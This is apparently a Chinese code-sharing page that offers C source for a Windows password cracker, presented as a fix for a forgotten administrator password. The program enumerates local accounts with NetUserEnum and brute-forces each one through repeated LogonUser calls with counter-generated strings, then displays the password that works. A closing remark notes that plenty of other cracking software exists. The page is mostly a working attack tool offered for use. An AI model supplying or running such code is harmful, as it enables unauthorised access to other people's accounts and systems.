📄 crackpassword.txt
字号:
当你在使用电脑时,不小心将管理员登录密码忘记了,怎么办呢?
#include <stdio.h>
#include <windows.h>
#include <lmaccess.h>
#include <lmapibuf.h>
#include <lm.h>
/*
lib,"mpr.lib"
lib,"netapi32.lib"
*/
static int pass=0;
static int nuser=0;
char user_all[50][50];
inline BOOL chg_user(char *str_user,char *str_pass);//判断用户
inline int get_all_user(void);//得到所有用户
int main()
{
char m_pass[256];
//得到所有用户
if(!get_all_user())
return 1;
//遍历开始
while(1)
{
printf("%d",rand()%2);
itoa(pass++,m_pass,36);
for(int i=0;i<nuser;i++)//循环用户
if(chg_user(user_all[i],m_pass))//监测用户
{
MessageBox(NULL,m_pass,user_all[i],MB_OK);
exit(0);
}
}
return 0;
}
BOOL chg_user(char *str_user,char *str_pass)//检测用户
{
HANDLE hLogonToken;
BOOL nRet=LogonUser(str_user,".",str_pass,LOGON32_LOGON_INTERACTIVE,LOGON32_PROVIDER_DEFAULT,&hLogonToken);
return nRet;
}
inline int get_all_user(void)//得到用户
{
LPUSER_INFO_0 pBuf = NULL;
LPUSER_INFO_0 pTmpBuf;
DWORD dwLevel = 0;
DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
DWORD dwEntriesRead = 0;
DWORD dwTotalEntries = 0;
DWORD dwResumeHandle = 0;
NET_API_STATUS nStatus;
do
{
nStatus = NetUserEnum(NULL,dwLevel,FILTER_NORMAL_ACCOUNT,(LPBYTE*)&pBuf,dwPrefMaxLen,&dwEntriesRead,&dwTotalEntries,&dwResumeHandle);
if((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
{
if((pTmpBuf=pBuf)!=NULL)
{
for(DWORD i=0;i<dwEntriesRead;++i)
{
wcstombs(user_all[nuser++],pTmpBuf->usri0_name,80);
pTmpBuf++;
}
}
}
else
{
printf("A system error has occurred");
}
if(pBuf!=NULL)
{
NetApiBufferFree(pBuf);
pBuf = NULL;
}
}
while (nStatus == ERROR_MORE_DATA);
if (pBuf != NULL)
NetApiBufferFree(pBuf);
return nuser;
}
以上程序为破解WINDOWS密码的程序,在程序得到一个用户及正确密码后退出程序。这个破解过程比较慢,但是这只是一种方法,如果真的想破解系统密码,其它软件多的是。
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -